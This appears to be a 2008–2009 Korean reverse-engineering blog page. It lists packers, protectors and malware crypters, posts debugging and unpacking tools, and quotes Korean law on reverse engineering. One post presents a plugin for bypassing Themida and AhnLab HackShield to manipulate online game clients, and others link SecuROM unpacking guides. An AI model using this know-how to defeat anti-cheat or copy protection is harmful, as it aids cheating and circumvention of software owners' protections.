- Mew 5 EXE Coder v0.1
- Mew 10
- Mew 11 SE v1.1 - v1.2
- mkfPack
- mPack v0.0.2 & v0.0.3
- MuCruncher
- nPack v1.1.250.2006 Beta, v1.1.300.2006 Beta, v1.1.500.2008 Beta, v1.1.800.2008 Beta
- Packanoid v1.0, v1.1
- PackItBitch v1.0
- Packman v0.0.0.1, v1.0
- Pack Master v1.6
- PEQuake v0.06
- PE Pack v0.99, v1.0
- PE Shrink
- PE Zip v1.0
- QuickPack NT v0.1
- RDG Pack Lite Edition v0.2, v0.4
- RLPack v1.16, v1.17, v1.18, v1.19, v1.20, [unknown version]
- Shrink Wrap v1.4
- SimplePack v1.11
- TPP Pack
- UPack v0.10 - v0.12, v0.20, v0.21, v0.22 - v0.23, v0.24 - v0.28, v0.29 - v0.33, v0.34 - v0.35, v0.36 - v0.39
- UPX, version grabber, [unknown / modified UPX]
- VPacker v0.02.10
- xxPack v0.1
- YZPack v1.1 & v1.2


EXE Protector - commercial

- ACProtect v1.09, v1.10, v1.20, v1.21, v1.22, v1.23, v1.3c, v1.32, v1.35 - v1.40 v2.0, v2.1, v2.1.1 and v2.1.2
- Air EXE Lock
- Akala EXE Lock
- Armadillo v2.xx - v3.xx, v2.00 - v2.61, v3.00 - v3.10, v3.20, v3.30 - v3.40, v3.50, v3.60 - v3.61, v3.70,
v3.75 ,v3.76, v3.78, v4.00 - v4.05, v4.00 - v4.42, v4.10 - v4.20, v4.30, v4.40, v4.40a, v4.40a Beta 2,
v4.42, v4.44a Beta 1, v4.44a, v4.44 - v4.66, v4.64, v4.66, v5.00 - v5.02, v5.00 - v5.42, v6.00 (or newer),
*Unknown Version*
- ASProtect v1.0, v1.1, v1.11, v1.2, v1.22 - v1.23, 1.23 RC4 - v1.3.08.24, v1.23 RC4 (Registered),
v1.31 Build 2004.04.27, v1.32, v2.0, v2.1 SKE, v2.2, v2.3, 2.1 - v2.3, 2.x [unknown version]
- AVLock
- Bit-Arts Crunch v5.0
- CopyMinder
- Cryptolock
- DBPE v2.33
- DotFix NiceProtect v1.0
- Enigma Protector v1.02 Build 3.10, v1.02 Build 4.00, v1.11, v1.12, v1.14, v1.16 - v1.5x version grabber
- EXE Cryptor v1.5.x, v2.0.0 - v2.1.0, v2.2.0 - v2.2.6, v2.3.0 - v2.3.9, v2.2.0 - v2.4.0, v2.4.0 (or newer),
v2.xx [unknown version]
- EXE Guard v1.3
- EXE Password 2004 v1.111, 1.112, v1.114, [unknown version]
- EXE Password Lock v1.01
- EXE Prot v1.x
- EXE Protector v2.x
- EXE Safe v2.0
- EXE Shield 2.7, v2.7b, v2.8a, v2.9, v3.6, v3.7
- EXEStealth v2.70, v2.73, v2.74, v2.75, v2.75a
- ExeWrapper (533Soft) v3.0
- ExPressor v1.0, v1.1, v1.2, v1.3, v1.4, v1.5, v1.6
- Ion Ice EXE Lock v1.0
- MazePath EXELockout v3.0
- MoleBox 2.0.0 - v2.3.0, 2.2.3, 2.2.4, 2.2.5, v2.2.6, v2.2.8, v2.3.0, v2.3.3 v2.4.0, v2.5.0, v2.5.5, v2.5.12 - v2.6.3,
v2.3.3 - v2.6.4
- Obsidium v1.0.0.61, v1.1.1.0, v1.1.1.4, v1.2.0.0, v1.2.5.0, v1.3.0.0, v1.3.0.4, v1.3.3.4, v1.3.3.7, v1.3.3.9,
v1.3.4.1, v1.3.6.1, [unknown version]
- ORiEN v2.12
- PC Guard v4.06, v5.00, v5.01 - v5.02
- PE Lock v1.0x
- Private EXE Protector v2.00 - v2.25, v2.30 - v2.70
- SD Protector v1.12, v1.16
- Special EXE Password Protector
- Shegerd EXE Protector & Anti-Debugger
- Softdefender v1.0 - v1.1
- Soft Sentry v3
- SoftWrap
- SVKP v1.051, v1.11, v1.3x - v1.4x, [unknown version]
- Themida v1.0.0.0 - v1.8.1.0, v1.8.2.0 (or newer)
- Trial Master v2.x
- VBO Watch v3
- Visual Protect
- Vcasm-Protector v1.0
- VM Protect v1.00 - v1.10, v1.20 - v1.70
- WinLicense v1.0.0.0 - v1.8.1.0, v1.8.2.0 (or newer)
- WinUtilities EXE Protector v2.1
- X-treme Protector v1.00 - v1.06, 1.07 - v1.08, 1.07 BUiLD 12-12-03, 1.08 BUiLD 15-12-03, 1.08 FiNAL
- ZProtect v1.4.3


EXE Protector - freeware

- Alex Protector v1.0 Beta 2
- AntiDote v1.4 SE
- ARM Protector v0.1, v0.2, v0.3
- AT4RE Protector v1.0
- Aver Cryptor v1.00, v1.02 Beta
- Beria v0.0.7
- BitShape PE Crypt v1.5
- CDS SS 1.0 Beta 1
- Celsius Crypter v2.1
- COOLcryptor 0.9
- CodeCrypt v0.15, v0.16 - v0.161, v0.163 - v0.164, [unknown version]
- CRYPToCRACks PE Protector v0.9.2, v0.9.3
- DalKrypt v1.0
- Daemon Protect v0.6.7
- DCrypt Private v0.9b
- DEF v1.0
- DotFix FakeSigner
- DragonArmor v0.0.4.1
- Dual�s EXE Encryptor v1.0, v1.1b
- Encrypt PE v1.2003.5.18, v2.2004.8.10 / 2.2006.1.15, v2.2006.10.1, v2.2007.4.11
- EP Protector v0.3 [AHTeam]
- Excalibur v1.03
- ExeCRyPT v1.0 [ReBirth]
- EXEFog v1.1
- EXE ReFactor v0.2
- fEaRz Crypter v1.0 Beta 1
- FishPe Shield v2.0.1
- Flashback Protector v1.0
- Forgot v1.0
- Frensh Layor v1.81
- Gie Protector v0.2
- Goat�s PE Mutilator v1.6
- Hide PE (ASProtect 1.2 [New Strain] method, VBOX 4.3 MTE method)
- KaOs PE eXecutable Undetecter
- Krypton v0.2, v0.3, v0.4, v0.5
- LameCrypt
- MarjinZ ScramblerSE
- Morphine v1.2 - v1.3, 1.4 - v2.7
- Morphna Beta 2
- MSLRH v0.31a, v0.32
- MZ Crypt v1.0
- NFO v1.0
- NME Executable Crypter v1.1
- Noodlecrypt v2
- Passlock 2000
- PE 123 v2006.4.4
- PE-Armot (Hying) v0.x
- PE Crypt v1.0x
- PE Diminisher v0.1
- PE LockNT v2.01, v2.02, v2.04
- PE Mangle
- PE Nguincrypt v1.0
- PE Nightmare
- PE Ninja
- PE Shield v0.1d, v0.2, v0.25, [unknown version]
- PE Spin v0.0b, v0.3, v0.41, v0.7, v1.0, v1.1, v1.3, [unknown version]
- PE Stub OEP v1.x (Entry Point Faker)
- Perplex PE Protector v1.01
- PEX v0.99
- PolyCrypt PE
- PolyEnE
- Program Protector v1.x - v2.x
- Protect v0.1.3
- Protect EXE v0.4a Beta
- Punisher v1.5 (DEMO)
- RCryptor v1.6d
- ReversingLabs Protector v0.7.4 beta
- Russian Cryptor v1.0
- SecurePE v1.5
- Simple PE Crypter
- SLVc0deProtector v0.61, v1.1, v1.11
- Smokes EXE Shield v0.5
- Ste@lth PE v1.x, v2.x
- Stones PE Crypter v1.13
- TELock v0.42, v0.51, v0.60, v0.70, v0.71, v0.80, v0.85f, v0.90, v0.92a, v0.95, v0.96, v0.98b1, v1.00
- Thunderbolt v0.0.2
- UnoPiX v0.94
- UPX Lock v1.01 - v1.02
- UPX Mutanter v0.2
- UPX Mutator
- UPX Protector v1.0e
- UPX Scrambler
- UPX$HiT 0.0.1
- USSR v0.31
- VCrypt v0.9b
- Virogen Crypt v0.75
- WinKrypt v1.0
- XCR v0.12, v0.13
- Yoda�s Crypter v1.1, v1.2, v1.3
- Yoda�s Protector v1.0b, v1.02b, v1.02d, v1.02.05, v1.03.01 BETA, v1.03.02 BETA, v1.03.3
- Z-Code v1.01


Malware Crypter


- 1337 Cryptor v2
- ABC Crypt v1.0
- Angel's Crypteur v0.2
- Breakpoint Crypter v0.0.79
- BUD Crypter
- Cryptic v2.0
- CryptWOZ v1.0
- DarkCrypt v1.2 (Private Version)
- EXE Evil v1.0
- Fakus Crypter
- FastFileCrypt v1.6 Public
- Fatalz Crypt v2.14a
- HellCrypter v1
- K!Cryptor v0.11
- KGB Cypter v1.0a
- Kratos Crypter
- Lilith Crypter
- marcrypt v0.1
- Minke Executable Crypter v1.0.1
- Money Crypter
- Mortal Team Crypter v2
- Mu$hr00M CryPtOR v1.0
- MZ0oPE v1.0.6b
- Poisen Ivy Crypter v1
- Puri Crypt v1.2
- QrYPt0r v1.0
- RDG Tejon Crypter v0.3
- RoguePack v3.3, v4.0 Beta 1
- Secure Shade v1.8
- Sexe Crypter v1.1
- Simpl3 CrYpT3R
- SnoopCrypt
- The Best Cryptor [by FsK]
- TsT Crypter
- UndergroundCrypter v1.0
- unkOwn Crypter v1.0
- UnLimited Crypter v1.0
- Werus Crypter v1.0
- WindOfCrypt
- Wingscrypt v2.0
- WL-Crypt v1.0
- X-Crypter v2.01
- xHacker Cryptor
- XShell v1.5


.NET Protectors

- {smartassembly}
- .NetZ
- dotFuscator
- DotNet Guard
- dotNet Protector v4 & v5
- dotNet Reactor v2.0 - v2.9, v3.0 - v3.2. v3.3 (or newer)
- MaxtoCode .Net Encryption
- Macrobject Obfuscator.NET
- MPRESS NET compressor
- nTitles Verifier for .NET
- Sixxpack .Net Compressor
- XenoCode .NET protector
- XenoCode Postbuild 2007, 2008
- XHEO CodeVeil v1.2, v1.3, generic


Dongles

- DinKey
- Hardlock
- Guardant
- HASP Hardware Lock
- HASP PE Envelope
- Key-Lok II
- SENTiNEL
- SENTiNEL SUPER PRO
- SmartKey
- SoftDog
- WIBU


Licenses

- CrypKey Instant
- CrypKey SDK
- eLicense
- FlexLM
- FlexNET
- HASP SL Licensing System
- InterLok
- Nalpeiron Licensing Service
- nTitles Activator
- Protection Plus
- Release Software Corporations SalesAgent
- Safecast
- Sentinel License Manager


Installer

- 7 - Zip SFX Setup Module
- AKInstaller Module
- Aquarius Soft Self-Extractor Archive
- Astrum Install Wizard
- AW Install Engine
- BinPatch
- Bitarts Install Wrap
- Blizzard PrePatch Module
- Clickteam Install Maker
- Clickteam Patch Maker
- Create Install 2003
- Gentee Installer
- Ghost Installer
- GKWare SFX Setup
- Inno Setup
- Install4j Wizard Module
- InstallAware Setup Module
- Installer 2 Go
- InstallShield v5.53.168.0, v6.31.100.1221, v7.1.100.1242, v7.7.0.262, v8.x, v9.1.0.429, v10, v10.5, v11, v12,
v12 BETA
- Install Zip Setup
- IZarc Self Extractor
- Microsoft SFX CAB Module
- Nullsoft SFX Setup
- Paquet Builder - Enhanced Self-Extracting Zip Module
- Patch Wise
- PKSFX Module
- Power Archiver 2003 v8.x SFX Module
- QSetup SFX Kernel
- Red Shift Installation System
- RTPatch Module
- Setup Factory
- SFX Factory!
- Silicon Realms Install Module
- Sony Self-Extracting Packager Archive
- Spoon Installer
- Squeeze Self Extractor Module
- Tarma Installer Module
- Trymedia Systems Download Manager
- VISE Mindvision Wizard
- WinAce Self-Extractor Module
- WinRAR SFX Archive
- WinZip SFX
- Wise Installation Wizard
- Zip Central SFX Module
- Zip SFX Archive
- Z-Up Maker SFX Archive
- Zylom Games Setup Module
저작자 표시 비영리 변경 금지
신고
by Sone 2009.01.28 23:27

Themida 패커를 우회할  목적으로 제작된  Phantom 플러그인 입니다.
공교롭게도 ,이 플러그인의 옵션과 다른  HideOD나  HideDebugger 를 함께 이용하면 ,  

안철수연구소(안랩) 의  핵쉴드도 우회가 됩니다.

디버거로  온라인게임 클라이언트에 Attach 해서 , 마음껏 브포를 걸고 , 메모리패치, 어셈블 하면서 , 조작할 수 있습니다.


저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

Themida__WinLicense_2.0.5.0_Clear_Junk_Code  (0) 2009.01.28
Themida_WinLicense_1.9.1.0_2.0.5.0_Unpacker_v0.2  (2) 2009.01.28
Phantom Plugin 1.54  (1) 2009.01.28
Detect All Version of Themida/WinLicense ID  (3) 2009.01.11
OllyScriptEditor 0.1  (0) 2009.01.03
PhantOm Plugin 1.45  (0) 2009.01.03
by Sone 2009.01.28 22:24

출처 :   Dual 님의 블로그  (http://dual5651.hacktizen.com/new/82)


파일 열기(Open)
:파일 생성 & 여는데 쓰인다.

16-bit:
CreateFile

32-bit:
CreateFileA

wide:
CreateFileW


파일 입출력(Read&Write)
:파일을 입출력하는데 쓰인다.

ReadFile ;읽기

WriteFile ;쓰기


파일 접근(Access)

SetFilePointer ;포인터 조정


시스템 디렉토리 얻어오는 함수



16-bit:
GetSystemDirectory
32-bit:
GetSystemDirectoryA
wide:
GetSystemDirectoryW


.ini파일과 관련된 함수
:ini 구성설정에 관련된 함수들이다.

16-bit:
GetPrivateProfileString

GetPrivateProfileInt

WritePrivateProfileString

WritePrivateProfileInt

32-bit:
GetPrivateProfileStringA

GetPrivateProfileIntA

WritePrivateProfileStringA

WritePrivateProfileIntA

wide:
GetPrivateProfileStringW

GetPrivateProfileIntW

WritePrivateProfileStringW

WritePrivateProfileIntW


레지스트리와 관련된 함수
:레지스트리의 키를 생성 혹은 삭제시
16-bit:
RegCreateKey

RegDeleteKey
32-bit:
RegCreateKeyA

RegDeleteKeyA

wide:
RegCreateKeyW

RegDeleteKeyW

:현재 열려진 레지스트리 키를 읽을때
16-bit:
RegQueryValue
32-bit:
RegQueryValueA
wide:
RegQueryValueW
:레지스트리 키를 열때
16-bit:
RegCloseKey

RegOpenKey
32-bit:
RegCloseKeyA

RegOpenKeyA
wide:
RegCloseKeyW

RegOpenKeyW


객체에서 문자열을 읽을때:
16-bit:
GetWindowText

GetDlgItemText
32-bit:
GetWindowTextA

GetDlgItemTextA

wide:
GetWindowTextW

GetDlgItemTextW


정수여부에 상관됨:
GetDlgItemInt


객체의 텍스트를 지정:
16-bit:
SetWindowText

SetDlgItemText
32-bit:
SetWindowTextA

SetDlgItemTextA

wide:

SetWindowTextW

SetDlgItemTextW


메시지 박스:
16-bit:
MessageBox

MessageBeep
32bit:
MessageBoxA

MessageBoxExA

wide:
MessageBoxW

MessageBoxExW

메시지 관련:
16-bit:
SendMessage

WSPRINTF
32-bit:
SendMessageA
wide:
SendMessageW


날짜와 시간
:날짜와 시간을 구할때

GetSystemTime

GetLocalTime

SystemTimeToFileTime


윈도우(창) 생성 & 제거
:창을 생성 & 제거에 쓰이는 함수들
16-bit:
CreateWindow

DialogBoxParam

CreateWindowEx

DestroyWindow

EndDialog

showwindow

bitblt
32-bit:
CreateWindowA

CreateWindowExA

DialogBoxParamA
wide:
CreateWindowW

CreateWindowExW

DialogBoxParamW


CD-ROM 요구
:CD롬을 요구하는 함수 들입니다.
16-bit:
GetDriveType (만약 eax=5 라면 CD롬 체크 이다.)

GetLogicalDrives

GetLogicalDriveStrings
32-bit:
GetDriveTypeA

GetLogicalDrivesA

GetLogicalDriveStringsA
wide:
GetDriveTypeW

리턴 코드:


값 설명

0 Drive Cannot Be determined

1 Root Dir Does not exist

2 DriveRemoveable

3 A Fixed Disk (HardDrive)

4 Remote Drive(Network)

5 Cd-Rom Drive <==============

6 RamDisk

GetLogicalDrivesW

GetLogicalDriveStringsW


Win NumberSerial:
GETWINDOWWORD

GETWINDOWLONG


+ORC가 제안한 훌륭한 함수

BOZOSLIVEHERE

HMEMCPY

GLOBALGETATOMNAME
저작자 표시 비영리 변경 금지
신고
by Sone 2008.12.06 16:55
ARTeam에서 내놓은  SecuROM 7.30.0014  락에 관한  문서입니다.


올리스크립트도 포함하고 있으며 ,   

CMP $VERSION,1.62
JE GoodVersion

GoodVersion:
Main Script Start

으로 코딩되어있기 때문에 , 왠만하면   ODBGScript 1.62 버젼으로 스크립트를 구동하는게 좋습니다.

그렇게 하기싫다면 , 그냥  스크립트를 취향에 맞게 뜯어고치면됩니다.




저작자 표시 비영리 변경 금지
신고
by Sone 2008.12.03 13:05


PEiD Detection :

SecuROM 4.x.x.x - 5.x.x.x -> Sony DADC [Overlay]


요즘 게임들은 대부분  SecuROM 7.x.x.x 버젼을 채택하고 있기 때문에,
이것은  시큐롬락을  맛보는 수준에 불과할겁니다.


저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

리버싱에 유용한 API  (1) 2008.12.06
SecuROM 7.30.0014 Manual Unpack  (0) 2008.12.03
Unpacking SecuROM 4.xx  (0) 2008.12.03
Win32 Disasm 8.93 (apply Bratpatch 3.0)  (0) 2008.11.30
Ollydbg 1.10  (2) 2008.11.30
Import Reconstructor 1.7c Final  (0) 2008.11.30
by Sone 2008.12.03 13:02


올리디버거와 함께 많이  쓰이는  디스어셈블리 툴.

저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

SecuROM 7.30.0014 Manual Unpack  (0) 2008.12.03
Unpacking SecuROM 4.xx  (0) 2008.12.03
Win32 Disasm 8.93 (apply Bratpatch 3.0)  (0) 2008.11.30
Ollydbg 1.10  (2) 2008.11.30
Import Reconstructor 1.7c Final  (0) 2008.11.30
PEiD 0.95 (full userdb)  (0) 2008.11.30
by Sone 2008.11.30 22:21

리버스 엔지니어링 / 디버깅할때 가장 많이 쓰이는 툴.
플러그인 포함.

Official Homepage/Download : http://ollydbg.de/download.htm




신고

'Reverse Engineering' 카테고리의 다른 글

Unpacking SecuROM 4.xx  (0) 2008.12.03
Win32 Disasm 8.93 (apply Bratpatch 3.0)  (0) 2008.11.30
Ollydbg 1.10  (2) 2008.11.30
Import Reconstructor 1.7c Final  (0) 2008.11.30
PEiD 0.95 (full userdb)  (0) 2008.11.30
국내 리버스엔지니어링에 대한 법률  (4) 2008.11.29
by Sone 2008.11.30 21:42
=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=
~            Import REConstructor v1.7c FINAL by MackT/uCF2000 in 2001-2008            ~
=                                                                                     =
~                  - *for Windows 9x, ME, NT, 2K, XP, Vista32/64* -                   ~
=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=

If you would like to help continue developing and bug fixing ImpREC and you have ideas, suggestions or bug
fixes please visit Tuts 4 You forum in the following topic to share your ideas:
Thank you!


언패킹시  자주  이용되는 Import REC 1.7c

저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

Unpacking SecuROM 4.xx  (0) 2008.12.03
Win32 Disasm 8.93 (apply Bratpatch 3.0)  (0) 2008.11.30
Ollydbg 1.10  (2) 2008.11.30
Import Reconstructor 1.7c Final  (0) 2008.11.30
PEiD 0.95 (full userdb)  (0) 2008.11.30
국내 리버스엔지니어링에 대한 법률  (4) 2008.11.29
by Sone 2008.11.30 21:04
PEiD is, and always will be freeware.

But PEiD is developed on our spare time just to give our users the best analysis result as possible.
And we wish to keep doing just that, because thats what we like todo.

So feel free to donate, we accept small sums too.

http://www.peid.info/



현재 내가 사용중인  PEiD 0.95  버젼...

userdb를 포함하고 있다.

신고

'Reverse Engineering' 카테고리의 다른 글

Unpacking SecuROM 4.xx  (0) 2008.12.03
Win32 Disasm 8.93 (apply Bratpatch 3.0)  (0) 2008.11.30
Ollydbg 1.10  (2) 2008.11.30
Import Reconstructor 1.7c Final  (0) 2008.11.30
PEiD 0.95 (full userdb)  (0) 2008.11.30
국내 리버스엔지니어링에 대한 법률  (4) 2008.11.29
by Sone 2008.11.30 21:01

===================================================================================================
국내                  컴퓨터프로그램보호법(리버스 엔지니어링을 중심으로) 2008년 2월 개정 일것입니다.
===================================================================================================

제 2조 10항 "프로그램코드역분석"이라 함은 독립적으로 창작된 프로그램과 다른 프로그램과의 호환에 필요한 정보를 얻기 위하여 프로그램코드를 복제 또는 변환하는 것을 말한다.

제12조 (프로그램저작권의 제한) 다음 각호의 1에 해당하는 경우에는 그 목적상 필요한 범위 안에서 공표된 프로그램을 복제 또는 배포할 수 있다. 다만, 프로그램의 종류·용도, 프로그램에서 복제된 부분이 차지하는 비중 및 복제의 부수 등에 비추어 프로그램저작권자의 이익을 부당하게 해하는 경우에는 그러하지 아니하다. <개정 2001.1.16, 2002.12.30, 2006.10.4>

1. 재판 또는 수사를 위하여 복제하는 경우
2. 「초·중등교육법」, 「고등교육법」에 의한 학교 및 다른 법률의 규정에 의하여 설립된 교육기관(상급학교 입학을 위한 학력이 인정되거나 학위를 수여하는 교육기관에 한한다)에서 교육을 담당하는 자가 수업과정에 제공할 목적으로 복제 또는 배포하는 경우
3. 「초·중등교육법」에 의한 학교 및 이에 준하는 학교의 교육목적을 위한 교과용 도서에 게재하기 위하여 복제하는 경우
4. 가정과 같은 한정된 장소에서 개인적인 목적(영리를 목적으로 하는 경우를 제외한다)으로 복제하는 경우
5. 「초·중등교육법」, 「고등교육법」에 의한 학교 및 이에 준하는 학교의 입학시험 그 밖의 학식 및 기능에 관한 시험 또는 검정을 목적(영리를 목적으로 하는 경우를 제외한다)으로 복제 또는 배포하는 경우
6. 프로그램의 기초를 이루는 아이디어 및 원리를 확인하기 위하여 프로그램의 기능을 조사·연구·시험 목적으로 복제하는 경우(정당한 권원에 의하여 프로그램을 사용하는 자가 당해 프로그램을 사용 중인 때에 한한다)

제12조의2 (프로그램코드역분석) ①정당한 권원에 의하여 프로그램을 사용하는 자 또는 그의 허락을 받은 자가 호환에 필요한 정보를 쉽게 얻을 수 없고 그 획득이 불가피한 경우 당해 프로그램의 호환에 필요한 부분에 한하여 프로그램저작권자의 허락을 받지 아니하고 프로그램코드역분석을 할 수 있다.

②제1항의 규정에 의한 프로그램코드역분석을 통하여 얻은 정보는 다음 각호의 1에 해당하는 경우에는 이를 사용할 수 없다.
1. 호환 목적외의 다른 목적을 위하여 이용하거나 제3자에게 제공하는 경우

2. 프로그램코드역분석의 대상이 되는 프로그램과 표현이 실질적으로 유사한 프로그램을 개발·제작·판매하거나 기타의 프로그램저작권을 침해하는 행위에 이용하는 경우
[본조신설 2001.1.16]

제18조 (프로그램저작권자가 불명인 프로그램의 사용) ①프로그램을 사용하고자 하는 자는 상당한 노력을 기울였어도 프로그램저작권자나 그의 거소를 알 수 없어 그 프로그램저작권자의 사용허락을 받을 수 없는 경우에는 대통령령이 정하는 바에 따라 정보통신부장관의 승인을 얻고, 제35조의 규정에 의한 컴퓨터프로그램보호위원회의 심의를 거쳐 정보통신부장관이 고시한 보상금을 그 승인을 얻은 날부터 30일이내에 프로그램저작권자를 위하여 공탁한 후 당해 프로그램을 사용할 수 있다.
<개정 2006.10.4>

  ②제1항의 규정에 의하여 사용하는 프로그램의 복제물에는 정보통신부장관의 승인을 얻은 사실과 그 승인연월일을 표시하여야 한다.
제 20조의 2(프로그램의 임치) ①프로그램저작권자와 프로그램의 사용허락을 받은 자는 대통령령이 정하는 자(이하 이 조에서 "수치인"이라 한다)와 서로 합의하여 프로그램의 원시코드 및 기술정보 등을 수치인에게 임치할 수 있다.
  ②프로그램의 사용허락을 받은 자는 제1항의 합의에서 정한 사유가 발생한 때에 수치인에게 프로그램의 원시코드 및 기술정보 등의 제공을 요구할 수 있다.
  [본조신설 2002.12.30]

 제30조 (기술적보호조치의 침해 등의 금지)
①누구든지 정당한 권원없이 기술적보호조치를 회피, 제거, 손괴 등의 방법으로 무력화(이하 "기술적보호조치무력화"라 한다)하여서는 아니된다. 다만, 다음 각호의 1에 해당하는 경우에는 그러하지 아니하다. <개정 2001.1.16>
1. 제10조의 규정에 의한 프로그램의 동일성을 변경하는 경우
2. 제12조 각호의 1에 해당되어 복제 사용하는 경우
3. 제14조의 규정에 의한 프로그램 사용자가 필요한 범위안에서 복제하는 경우
4. 정당한 권원에 의하여 사용하는 자가 다른 프로그램과 호환성을 유지하기 위하여 필요한 경우
5. 정당한 권원에 의한 최종사용자로부터 프로그램의 수정·보완을 요청받은 경우
6. 정당한 권원에 의하여 사용하는 자가 연구·교육 등의 목적으로 프로그램과 관련된 암호화 분석을 하기 위하여 필요한 경우

②누구든지 상당히 기술적보호조치를 무력화하는 기기·장치·부품 등을 제조·수입하거나 공중에 양도·대여 또는 유통하여서는 아니되며, 기술적보호조치를 무력화하는 프로그램을 전송·배포하거나 기술적보호조치를 무력화하는 기술을 제공하여서는 아니된다. <개정 2001.1.16>

   제31조 (침해의 정지 등 청구) ①프로그램저작권자 또는 프로그램배타적발행권자등은 그의 권리를 침해하는 자 또는 침해할 우려가 있는 자에 대하여 침해의 정지 또는 예방을 청구할 수 있다. <개정 2002.12.30>

②프로그램저작권자 또는 프로그램배타적발행권자등이 제1항의 규정에 의한 청구를 하는 경우에는 침해행위에 의하여 만들어진 물건의 폐기와 침해행위에 제공된 도구등의 폐기나 기타 침해를 예방하는데 필요한 조치를 할 것을 함께 청구할 수 있다. <개정 2002.12.30>
저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

Unpacking SecuROM 4.xx  (0) 2008.12.03
Win32 Disasm 8.93 (apply Bratpatch 3.0)  (0) 2008.11.30
Ollydbg 1.10  (2) 2008.11.30
Import Reconstructor 1.7c Final  (0) 2008.11.30
PEiD 0.95 (full userdb)  (0) 2008.11.30
국내 리버스엔지니어링에 대한 법률  (4) 2008.11.29
by Sone 2008.11.29 22:08
| 1 |